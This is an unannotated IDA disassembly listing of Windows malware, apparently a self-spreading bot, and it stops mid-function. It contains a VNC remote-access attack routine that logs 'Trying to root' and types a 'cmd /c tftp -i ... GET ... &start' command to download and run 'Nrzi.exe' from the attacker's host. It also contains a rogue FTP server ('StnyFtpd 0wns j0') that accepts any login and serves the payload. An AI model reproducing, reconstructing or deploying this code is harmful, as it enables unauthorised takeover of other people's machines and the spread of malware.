======================================= ; Attributes: bp-based frame sub_403540 proc near ; CODE XREF: sub_402C60+3p push ebp mov ebp, esp movzx eax, byte_47058C and eax, 1 test eax, eax jnz short loc_40355D mov al, byte_47058C or al, 1 mov byte_47058C, al loc_40355D: ; CODE XREF: sub_403540+Fj pop ebp retn sub_403540 endp ; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_403564(int, char *Str, int) sub_403564 proc near ; CODE XREF: .text:00403A66p ; .text:00403A82p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_18 = word ptr -18h var_14 = byte ptr -14h var_C = byte ptr -0Ch var_4 = word ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h push esi push edi mov ax, word_41E9C0 mov [ebp+var_4], ax mov ax, word_41E9C4 mov [ebp+var_18], ax mov ax, word_4249CC mov [ebp+var_1C], ax mov esi, offset dword_4249D0 lea edi, [ebp+var_14] movsd movsb mov esi, offset dword_4249D8 lea edi, [ebp+var_C] movsd movsw cmp [ebp+arg_8], 0 jnz loc_4036BB and [ebp+var_20], 0 jmp short loc_4035B6 ; --------------------------------------------------------------------------- loc_4035AF: ; CODE XREF: sub_403564:loc_4036B1j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4035B6: ; CODE XREF: sub_403564+49j cmp [ebp+var_20], 1 jg loc_4036B6 mov eax, [ebp+var_20] mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4035D7 cmp [ebp+var_24], 1 jz short loc_403645 jmp loc_4036B1 ; --------------------------------------------------------------------------- loc_4035D7: ; CODE XREF: sub_403564+66j push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_426470 ; send push 0 push 1 lea eax, [ebp+var_18] push eax push [ebp+arg_0] call dword_426470 ; send push [ebp+Str] ; Str call _strlen pop ecx cmp eax, 2 jnz short loc_40361A push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_426470 ; send jmp short loc_40362B ; --------------------------------------------------------------------------- loc_40361A: ; CODE XREF: sub_403564+A1j push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_426470 ; send loc_40362B: ; CODE XREF: sub_403564+B4j push 0 push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push [ebp+arg_0] call dword_426470 ; send jmp short loc_4036B1 ; --------------------------------------------------------------------------- loc_403645: ; CODE XREF: sub_403564+6Cj push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_426470 ; send push 0 push 1 lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call dword_426470 ; send push [ebp+Str] ; Str call _strlen pop ecx cmp eax, 2 jnz short loc_403688 push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_426470 ; send jmp short loc_403699 ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403564+10Fj push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_426470 ; send loc_403699: ; CODE XREF: sub_403564+122j push 0 push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push [ebp+arg_0] call dword_426470 ; send loc_4036B1: ; CODE XREF: sub_403564+6Ej ; sub_403564+DFj jmp loc_4035AF ; --------------------------------------------------------------------------- loc_4036B6: ; CODE XREF: sub_403564+56j jmp loc_4037AC ; --------------------------------------------------------------------------- loc_4036BB: ; CODE XREF: sub_403564+3Fj mov eax, [ebp+arg_8] mov [ebp+var_28], eax cmp [ebp+var_28], 1 jz short loc_4036D2 cmp [ebp+var_28], 2 jz short loc_403740 jmp loc_4037AC ; --------------------------------------------------------------------------- loc_4036D2: ; CODE XREF: sub_403564+161j push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_426470 ; send push 0 push 1 lea eax, [ebp+var_18] push eax push [ebp+arg_0] call dword_426470 ; send push [ebp+Str] ; Str call _strlen pop ecx cmp eax, 2 jnz short loc_403715 push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_426470 ; send jmp short loc_403726 ; --------------------------------------------------------------------------- loc_403715: ; CODE XREF: sub_403564+19Cj push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_426470 ; send loc_403726: ; CODE XREF: sub_403564+1AFj push 0 push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push [ebp+arg_0] call dword_426470 ; send jmp short loc_4037AC ; --------------------------------------------------------------------------- loc_403740: ; CODE XREF: sub_403564+167j push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_426470 ; send push 0 push 1 lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call dword_426470 ; send push [ebp+Str] ; Str call _strlen pop ecx cmp eax, 2 jnz short loc_403783 push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_426470 ; send jmp short loc_403794 ; --------------------------------------------------------------------------- loc_403783: ; CODE XREF: sub_403564+20Aj push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_426470 ; send loc_403794: ; CODE XREF: sub_403564+21Dj push 0 push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push [ebp+arg_0] call dword_426470 ; send loc_4037AC: ; CODE XREF: sub_403564:loc_4036B6j ; sub_403564+169j ... pop edi pop esi leave retn sub_403564 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 29Ch push esi push edi mov esi, offset aRfb003_008 ; "RFB 003.008\n" lea edi, [ebp-288h] movsd movsd movsd movsb mov esi, offset dword_41E9D8 lea edi, [ebp-0Ch] movsw movsb mov esi, offset dword_4249E0 lea edi, [ebp-270h] movsd movsb mov ax, word_41E9DC mov [ebp-268h], ax mov ax, word_41E9E0 mov [ebp-274h], ax mov esi, offset dword_41E9E4 lea edi, [ebp-8] movsw movsb mov esi, offset dword_41E9E8 lea edi, [ebp-4] movsw movsb mov esi, offset dword_41E9EC lea edi, [ebp-278h] movsw movsb mov ax, word_41E9F0 mov [ebp-5Ch], ax and dword ptr [ebp-264h], 0 and dword ptr [ebp-50h], 0 and dword ptr [ebp-60h], 0 push 0 push 1 push 2 call dword_4264A0 ; socket mov [ebp-58h], eax cmp dword ptr [ebp-58h], 0FFFFFFFFh jnz short loc_403857 push dword ptr [ebp-58h] call dword_4264B8 ; closesocket loc_403857: ; CODE XREF: .text:0040384Cj mov word ptr [ebp-298h], 2 lea eax, [ebp+0Ch] push eax call dword_426460 ; inet_addr mov [ebp-294h], eax push dword ptr [ebp+0A8h] call dword_426424 ; ntohs mov [ebp-296h], ax push 10h lea eax, [ebp-298h] push eax push dword ptr [ebp-58h] call dword_4263D8 ; connect test eax, eax jz short loc_4038A9 push dword ptr [ebp-58h] call dword_4264B8 ; closesocket xor eax, eax jmp loc_403C1A ; --------------------------------------------------------------------------- loc_4038A9: ; CODE XREF: .text:00403897j ; .text:loc_4039F5j push 1 pop eax test eax, eax jz loc_4039FA push 40h push 0 lea eax, [ebp-4Ch] push eax call _memset add esp, 0Ch push 0 push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-58h] call dword_42643C ; recv mov [ebp-264h], eax cmp dword ptr [ebp-264h], 0 jle short loc_4038ED cmp dword ptr [ebp-264h], 0FFFFFFFFh jnz short loc_4038F2 loc_4038ED: ; CODE XREF: .text:004038E2j jmp loc_4039FA ; --------------------------------------------------------------------------- loc_4038F2: ; CODE XREF: .text:004038EBj mov eax, [ebp-50h] mov [ebp-29Ch], eax cmp dword ptr [ebp-29Ch], 0 jz short loc_40391F cmp dword ptr [ebp-29Ch], 1 jz short loc_403970 cmp dword ptr [ebp-29Ch], 2 jz loc_4039BE jmp loc_4039ED ; --------------------------------------------------------------------------- loc_40391F: ; CODE XREF: .text:00403902j lea eax, [ebp-288h] push eax lea eax, [ebp-4Ch] push eax call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40395E push 0 lea eax, [ebp-288h] push eax call _strlen pop ecx push eax lea eax, [ebp-288h] push eax push dword ptr [ebp-58h] call dword_426470 ; send mov eax, [ebp-50h] inc eax mov [ebp-50h], eax jmp short loc_40396E ; --------------------------------------------------------------------------- loc_40395E: ; CODE XREF: .text:00403933j push dword ptr [ebp-58h] call dword_4264B8 ; closesocket xor eax, eax jmp loc_403C1A ; --------------------------------------------------------------------------- loc_40396E: ; CODE XREF: .text:0040395Cj jmp short loc_4039ED ; --------------------------------------------------------------------------- loc_403970: ; CODE XREF: .text:0040390Bj lea eax, [ebp-0Ch] push eax lea eax, [ebp-4Ch] push eax call _strcmp pop ecx pop ecx test eax, eax jnz short loc_4039AC push 0 lea eax, [ebp-268h] push eax call _strlen pop ecx push eax lea eax, [ebp-268h] push eax push dword ptr [ebp-58h] call dword_426470 ; send mov eax, [ebp-50h] inc eax mov [ebp-50h], eax jmp short loc_4039BC ; --------------------------------------------------------------------------- loc_4039AC: ; CODE XREF: .text:00403981j push dword ptr [ebp-58h] call dword_4264B8 ; closesocket xor eax, eax jmp loc_403C1A ; --------------------------------------------------------------------------- loc_4039BC: ; CODE XREF: .text:004039AAj jmp short loc_4039ED ; --------------------------------------------------------------------------- loc_4039BE: ; CODE XREF: .text:00403914j lea eax, [ebp-270h] push eax lea eax, [ebp-4Ch] push eax call _strcmp pop ecx pop ecx test eax, eax jnz short loc_4039DD mov eax, [ebp-50h] inc eax mov [ebp-50h], eax jmp short loc_4039ED ; --------------------------------------------------------------------------- loc_4039DD: ; CODE XREF: .text:004039D2j push dword ptr [ebp-58h] call dword_4264B8 ; closesocket xor eax, eax jmp loc_403C1A ; --------------------------------------------------------------------------- loc_4039ED: ; CODE XREF: .text:0040391Aj ; .text:loc_40396Ej ... cmp dword ptr [ebp-50h], 3 jnz short loc_4039F5 jmp short loc_4039FA ; --------------------------------------------------------------------------- loc_4039F5: ; CODE XREF: .text:004039F1j jmp loc_4038A9 ; --------------------------------------------------------------------------- loc_4039FA: ; CODE XREF: .text:004038AEj ; .text:loc_4038EDj ... push dword ptr [ebp+0A8h] lea eax, [ebp+0Ch] push eax push offset aTryingToRootSD ; "Trying to root %s:%d." push 200h lea eax, [ebp-260h] push eax call __snprintf add esp, 14h push 0 push dword ptr [ebp+0B8h] lea eax, [ebp-260h] push eax push offset aExp ; "#!exp!#" push dword ptr [ebp+8] call sub_40A08D add esp, 14h lea eax, [ebp-260h] push eax call sub_40913D pop ecx push 0 push 1 lea eax, [ebp-274h] push eax push dword ptr [ebp-58h] call dword_426470 ; send push 1 lea eax, [ebp-8] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch push 3E8h call ds:Sleep ; Sleep push 0 lea eax, [ebp-5Ch] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch push 3E8h call ds:Sleep ; Sleep push 2 lea eax, [ebp-8] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch push 3E8h call ds:Sleep ; Sleep and dword ptr [ebp-60h], 0 jmp short loc_403ABE ; --------------------------------------------------------------------------- loc_403AB7: ; CODE XREF: .text:00403B05j mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_403ABE: ; CODE XREF: .text:00403AB5j push offset aCmd ; "cmd" call _strlen pop ecx cmp [ebp-60h], eax jnb short loc_403B07 mov eax, [ebp-60h] movsx eax, byte ptr aCmd[eax] ; "cmd" push eax push offset aC ; "%c" push 3 lea eax, [ebp-54h] push eax call __snprintf add esp, 10h push 0 lea eax, [ebp-54h] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch push 7Dh call ds:Sleep ; Sleep jmp short loc_403AB7 ; --------------------------------------------------------------------------- loc_403B07: ; CODE XREF: .text:00403ACCj push 0 lea eax, [ebp-278h] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch push 7D0h call ds:Sleep ; Sleep push 100h push 0 push offset byte_4248CC call _memset add esp, 0Ch push offset String2 ; "Nrzi.exe" push offset String2 ; "Nrzi.exe" push dword ptr [ebp+8] call sub_40892F pop ecx push eax push offset aCmdCTftpISGetS ; "cmd /c tftp -i %s GET %s &start %s &exi"... push 0FFh push offset byte_4248CC call __snprintf add esp, 18h and dword ptr [ebp-60h], 0 jmp short loc_403B72 ; --------------------------------------------------------------------------- loc_403B6B: ; CODE XREF: .text:00403BB9j mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_403B72: ; CODE XREF: .text:00403B69j push offset byte_4248CC call _strlen pop ecx cmp [ebp-60h], eax jnb short loc_403BBB mov eax, [ebp-60h] movsx eax, byte_4248CC[eax] push eax push offset aC_0 ; "%c" push 3 lea eax, [ebp-54h] push eax call __snprintf add esp, 10h push 0 lea eax, [ebp-54h] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch push 7Dh call ds:Sleep ; Sleep jmp short loc_403B6B ; --------------------------------------------------------------------------- loc_403BBB: ; CODE XREF: .text:00403B80j push 3E8h call ds:Sleep ; Sleep push 0 lea eax, [ebp-278h] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch and dword ptr [ebp-60h], 0 jmp short loc_403BE7 ; --------------------------------------------------------------------------- loc_403BE0: ; CODE XREF: .text:00403C0Cj mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_403BE7: ; CODE XREF: .text:00403BDEj cmp dword ptr [ebp-60h], 0Dh ja short loc_403C0E push 1388h call ds:Sleep ; Sleep push 0 lea eax, [ebp-278h] push eax push dword ptr [ebp-58h] call sub_403564 add esp, 0Ch jmp short loc_403BE0 ; --------------------------------------------------------------------------- loc_403C0E: ; CODE XREF: .text:00403BEBj push dword ptr [ebp-58h] call dword_4264B8 ; closesocket push 1 pop eax loc_403C1A: ; CODE XREF: .text:004038A4j ; .text:00403969j ... pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_403C1E(LPVOID) sub_403C1E proc near ; DATA XREF: sub_404F31+2AFo var_A90 = byte ptr -0A90h Str = byte ptr -0A78h var_A4C = dword ptr -0A4Ch var_A48 = dword ptr -0A48h var_A44 = dword ptr -0A44h argp = dword ptr -0A40h var_A3C = dword ptr -0A3Ch var_A38 = dword ptr -0A38h var_A34 = byte ptr -0A34h readfds = fd_set ptr -834h addr = sockaddr ptr -730h optval = byte ptr -720h fd = dword ptr -71Ch var_718 = dword ptr -718h Str1 = byte ptr -714h var_6B0 = byte ptr -6B0h var_67C = dword ptr -67Ch var_468 = dword ptr -468h var_464 = byte ptr -464h var_3E4 = dword ptr -3E4h hostshort = word ptr -3D8h Dest = byte ptr -3D4h s = dword ptr -3A0h name = sockaddr ptr -39Ch var_38C = byte ptr -38Ch var_328 = dword ptr -328h addrlen = dword ptr -324h cp = byte ptr -320h var_310 = byte ptr -310h var_30C = dword ptr -30Ch WSAData = WSAData ptr -308h var_178 = dword ptr -178h var_174 = byte ptr -174h Dst = byte ptr -170h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A90h push esi push edi mov dword ptr [ebp+optval], 1 mov [ebp+argp], 1 mov esi, [ebp+arg_0] mov ecx, 0A9h lea edi, [ebp+var_67C] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_30C], eax mov eax, [ebp+var_30C] mov dword ptr [eax+2A0h], 1 and [ebp+var_104], 0 and [ebp+readfds.fd_count], 0 lea eax, [ebp+WSAData] push eax ; lpWSAData push 101h ; wVersionRequested call ds:WSAStartup ; WSAStartup mov eax, [ebp+var_468] mov hostshort, eax push 0 ; protocol push 1 ; type push 2 ; af call ds:socket ; socket mov [ebp+s], eax push 4 ; optlen lea eax, [ebp+optval] push eax ; optval push 4 ; optname push 0FFFFh ; level push [ebp+s] ; s call ds:setsockopt ; setsockopt lea eax, [ebp+argp] push eax ; argp push 8004667Eh ; cmd push [ebp+s] ; s call ds:ioctlsocket ; ioctlsocket mov [ebp+name.sa_family], 2 and dword ptr [ebp+name.sa_data+2], 0 mov ax, word ptr hostshort push eax ; hostshort call ds:htons ; htons mov word ptr [ebp+name.sa_data], ax push 10h ; namelen lea eax, [ebp+name] push eax ; name push [ebp+s] ; s call ds:bind ; bind test eax, eax jge short loc_403D1C push 1 pop eax jmp loc_404492 ; --------------------------------------------------------------------------- loc_403D1C: ; CODE XREF: sub_403C1E+F4j push 0Ah ; backlog push [ebp+s] ; s call ds:listen ; listen loc_403D2A: ; CODE XREF: sub_403C1E+184j and [ebp+var_A44], 0 jmp short loc_403D40 ; --------------------------------------------------------------------------- loc_403D33: ; CODE XREF: sub_403C1E:loc_403D65j mov eax, [ebp+var_A44] inc eax mov [ebp+var_A44], eax loc_403D40: ; CODE XREF: sub_403C1E+113j mov eax, [ebp+var_A44] cmp eax, [ebp+var_104] jnb short loc_403D67 mov eax, [ebp+var_A44] mov eax, [ebp+eax*4+var_100] cmp eax, [ebp+s] jnz short loc_403D65 jmp short loc_403D67 ; --------------------------------------------------------------------------- loc_403D65: ; CODE XREF: sub_403C1E+143j jmp short loc_403D33 ; --------------------------------------------------------------------------- loc_403D67: ; CODE XREF: sub_403C1E+12Ej ; sub_403C1E+145j mov eax, [ebp+var_A44] cmp eax, [ebp+var_104] jnz short loc_403D9E cmp [ebp+var_104], 40h jnb short loc_403D9E mov eax, [ebp+var_A44] mov ecx, [ebp+s] mov [ebp+eax*4+var_100], ecx mov eax, [ebp+var_104] inc eax mov [ebp+var_104], eax loc_403D9E: ; CODE XREF: sub_403C1E+155j ; sub_403C1E+15Ej xor eax, eax test eax, eax jnz short loc_403D2A mov eax, [ebp+s] mov [ebp+var_178], eax loc_403DB0: ; CODE XREF: sub_403C1E:loc_40448Aj push 1 pop eax test eax, eax jz loc_40448F push 41h pop ecx lea esi, [ebp+var_104] lea edi, [ebp+readfds] rep movsd push 0 ; timeout push 0 ; exceptfds push 0 ; writefds lea eax, [ebp+readfds] push eax ; readfds mov eax, [ebp+var_178] inc eax push eax ; nfds call ds:select ; select cmp eax, 0FFFFFFFFh jnz short loc_403DF4 push 1 pop eax jmp loc_404492 ; --------------------------------------------------------------------------- loc_403DF4: ; CODE XREF: sub_403C1E+1CCj and [ebp+fd], 0 jmp short loc_403E0A ; --------------------------------------------------------------------------- loc_403DFD: ; CODE XREF: sub_403C1E:loc_404485j mov eax, [ebp+fd] inc eax mov [ebp+fd], eax loc_403E0A: ; CODE XREF: sub_403C1E+1DDj mov eax, [ebp+fd] cmp eax, [ebp+var_178] jg loc_40448A push 64h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push 64h ; Size push 0 ; Val lea eax, [ebp+Str1] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+readfds] push eax ; fd_set * push [ebp+fd] ; fd call __WSAFDIsSet ; __WSAFDIsSet test eax, eax jz loc_404485 mov eax, [ebp+fd] cmp eax, [ebp+s] jnz loc_403F53 mov [ebp+addrlen], 10h lea eax, [ebp+addrlen] push eax ; addrlen lea eax, [ebp+addr] push eax ; addr push [ebp+s] ; s call ds:accept ; accept mov [ebp+var_A38], eax cmp [ebp+var_A38], 0FFFFFFFFh jz loc_403F4E loc_403EA5: ; CODE XREF: sub_403C1E+2FFj and [ebp+var_A48], 0 jmp short loc_403EBB ; --------------------------------------------------------------------------- loc_403EAE: ; CODE XREF: sub_403C1E:loc_403EE0j mov eax, [ebp+var_A48] inc eax mov [ebp+var_A48], eax loc_403EBB: ; CODE XREF: sub_403C1E+28Ej mov eax, [ebp+var_A48] cmp eax, [ebp+var_104] jnb short loc_403EE2 mov eax, [ebp+var_A48] mov eax, [ebp+eax*4+var_100] cmp eax, [ebp+var_A38] jnz short loc_403EE0 jmp short loc_403EE2 ; --------------------------------------------------------------------------- loc_403EE0: ; CODE XREF: sub_403C1E+2BEj jmp short loc_403EAE ; --------------------------------------------------------------------------- loc_403EE2: ; CODE XREF: sub_403C1E+2A9j ; sub_403C1E+2C0j mov eax, [ebp+var_A48] cmp eax, [ebp+var_104] jnz short loc_403F19 cmp [ebp+var_104], 40h jnb short loc_403F19 mov eax, [ebp+var_A48] mov ecx, [ebp+var_A38] mov [ebp+eax*4+var_100], ecx mov eax, [ebp+var_104] inc eax mov [ebp+var_104], eax loc_403F19: ; CODE XREF: sub_403C1E+2D0j ; sub_403C1E+2D9j xor eax, eax test eax, eax jnz short loc_403EA5 mov eax, [ebp+var_A38] cmp eax, [ebp+var_178] jle short loc_403F39 mov eax, [ebp+var_A38] mov [ebp+var_178], eax loc_403F39: ; CODE XREF: sub_403C1E+30Dj push 0 ; flags push 15h ; len push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push [ebp+var_A38] ; s call ds:send ; send loc_403F4E: ; CODE XREF: sub_403C1E+281j jmp loc_404485 ; --------------------------------------------------------------------------- loc_403F53: ; CODE XREF: sub_403C1E+24Aj push 0 ; flags push 64h ; len lea eax, [ebp+Dst] push eax ; buf push [ebp+fd] ; s call ds:recv ; recv mov [ebp+var_718], eax cmp [ebp+var_718], 0 jg loc_40401A loc_403F7D: ; CODE XREF: sub_403C1E+3E5j and [ebp+var_A4C], 0 jmp short loc_403F93 ; --------------------------------------------------------------------------- loc_403F86: ; CODE XREF: sub_403C1E:loc_403FFDj mov eax, [ebp+var_A4C] inc eax mov [ebp+var_A4C], eax loc_403F93: ; CODE XREF: sub_403C1E+366j mov eax, [ebp+var_A4C] cmp eax, [ebp+var_104] jnb short loc_403FFF mov eax, [ebp+var_A4C] mov eax, [ebp+eax*4+var_100] cmp eax, [ebp+fd] jnz short loc_403FFD loc_403FB6: ; CODE XREF: sub_403C1E+3CEj mov eax, [ebp+var_104] dec eax cmp [ebp+var_A4C], eax jnb short loc_403FEE mov eax, [ebp+var_A4C] mov ecx, [ebp+var_A4C] mov ecx, [ebp+ecx*4+var_FC] mov [ebp+eax*4+var_100], ecx mov eax, [ebp+var_A4C] inc eax mov [ebp+var_A4C], eax jmp short loc_403FB6 ; --------------------------------------------------------------------------- loc_403FEE: ; CODE XREF: sub_403C1E+3A5j mov eax, [ebp+var_104] dec eax mov [ebp+var_104], eax jmp short loc_403FFF ; --------------------------------------------------------------------------- loc_403FFD: ; CODE XREF: sub_403C1E+396j jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403FFF: ; CODE XREF: sub_403C1E+381j ; sub_403C1E+3DDj xor eax, eax test eax, eax jnz loc_403F7D push [ebp+fd] ; s call ds:closesocket ; closesocket jmp loc_404485 ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403C1E+359j lea eax, [ebp+var_38C] push eax lea eax, [ebp+Str1] push eax push offset aSS_1 ; "%s %s" lea eax, [ebp+Dst] push eax ; Src call _sscanf add esp, 10h push offset Str2 ; "USER" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40406D push 0 ; flags push 16h ; len push offset a331PasswordReq ; "331 Password required\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_40406D: ; CODE XREF: sub_403C1E+433j push offset aPass ; "PASS" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40409E push 0 ; flags push 14h ; len push offset a230UserLoggedI ; "230 User logged in.\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_40409E: ; CODE XREF: sub_403C1E+464j push offset aSyst ; "SYST" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_4040CF push 0 ; flags push 0Dh ; len push offset a215Stnyftpd ; "215 StnyFtpd\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_4040CF: ; CODE XREF: sub_403C1E+495j push offset aRest ; "REST" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_404100 push 0 ; flags push 10h ; len push offset a350Restarting_ ; "350 Restarting.\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_404100: ; CODE XREF: sub_403C1E+4C6j push offset off_41EAD4 ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_404131 push 0 ; flags push 1Eh ; len push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_404131: ; CODE XREF: sub_403C1E+4F7j push offset aType ; "TYPE" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_404179 push offset aA ; "A" lea eax, [ebp+var_38C] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_404179 push 0 ; flags push 13h ; len push offset a200TypeSetToA_ ; "200 Type set to A.\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_404179: ; CODE XREF: sub_403C1E+528j ; sub_403C1E+53Fj push offset aType_0 ; "TYPE" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_4041C1 push offset aI ; "I" lea eax, [ebp+var_38C] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_4041C1 push 0 ; flags push 13h ; len push offset a200TypeSetToI_ ; "200 Type set to I.\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_4041C1: ; CODE XREF: sub_403C1E+570j ; sub_403C1E+587j push offset aPasv ; "PASV" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_404212 push 0Ah pop ecx mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... lea edi, [ebp+Str] rep movsd movsw push 0 ; flags lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx push eax ; len lea eax, [ebp+Str] push eax ; buf push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_403C1E+5B8j push offset aList ; "LIST" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_404264 push 5 pop ecx mov esi, offset a226TransferCom ; "226 Transfer complete\n" lea edi, [ebp+var_A90] rep movsd movsw movsb push 0 ; flags lea eax, [ebp+var_A90] push eax ; Str call _strlen pop ecx push eax ; len lea eax, [ebp+var_A90] push eax ; buf push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_404264: ; CODE XREF: sub_403C1E+609j push offset aPort ; "PORT" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz loc_404379 lea eax, [ebp+var_6B0] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_310] push eax lea eax, [ebp+var_174] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_108] push eax push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... lea eax, [ebp+Dst] push eax ; Src call _sscanf add esp, 20h lea eax, [ebp+Dest] push eax ; Str call _atoi pop ecx mov [ebp+var_328], eax lea eax, [ebp+var_6B0] push eax ; Str call _atoi pop ecx mov [ebp+var_A3C], eax push 32h ; Size push 0 ; Val lea eax, [ebp+Dest] push eax ; Dst call _memset add esp, 0Ch push [ebp+var_A3C] push [ebp+var_328] push offset aXX ; "%x%x\n" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h push 10h ; Radix push 0 ; EndPtr lea eax, [ebp+Dest] push eax ; Str call _strtoul add esp, 0Ch mov dword ptr [ebp+hostshort], eax lea eax, [ebp+var_310] push eax lea eax, [ebp+var_174] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_108] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" lea eax, [ebp+cp] push eax ; Dest call _sprintf add esp, 18h push 0 ; flags push 1Dh ; len push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+fd] ; s call ds:send ; send jmp loc_404472 ; --------------------------------------------------------------------------- loc_404379: ; CODE XREF: sub_403C1E+65Bj push offset aRetr ; "RETR" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz loc_404446 push 0 ; flags push 28h ; len push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+fd] ; s call ds:send ; send push dword ptr [ebp+hostshort] ; hostshort lea eax, [ebp+cp] push eax ; cp call sub_404498 pop ecx pop ecx cmp eax, 1 jnz short loc_40442F call sub_404515 cmp eax, 1 jnz short loc_40442D push 0 ; flags push 17h ; len push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+fd] ; s call ds:send ; send lea eax, [ebp+cp] push eax push offset aFtpFileTransfe ; "FTP File transfer complete: %s" lea eax, [ebp+var_A34] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_3E4] lea eax, [ebp+var_A34] push eax lea eax, [ebp+var_464] push eax push [ebp+var_67C] call sub_40A08D add esp, 14h lea eax, [ebp+var_A34] push eax call sub_40913D pop ecx loc_40442D: ; CODE XREF: sub_403C1E+7ACj jmp short loc_404444 ; --------------------------------------------------------------------------- loc_40442F: ; CODE XREF: sub_403C1E+7A2j push 0 ; flags push 20h ; len push offset a425CanTOpenDat ; "425 Can't open data connection.\n" push [ebp+fd] ; s call ds:send ; send loc_404444: 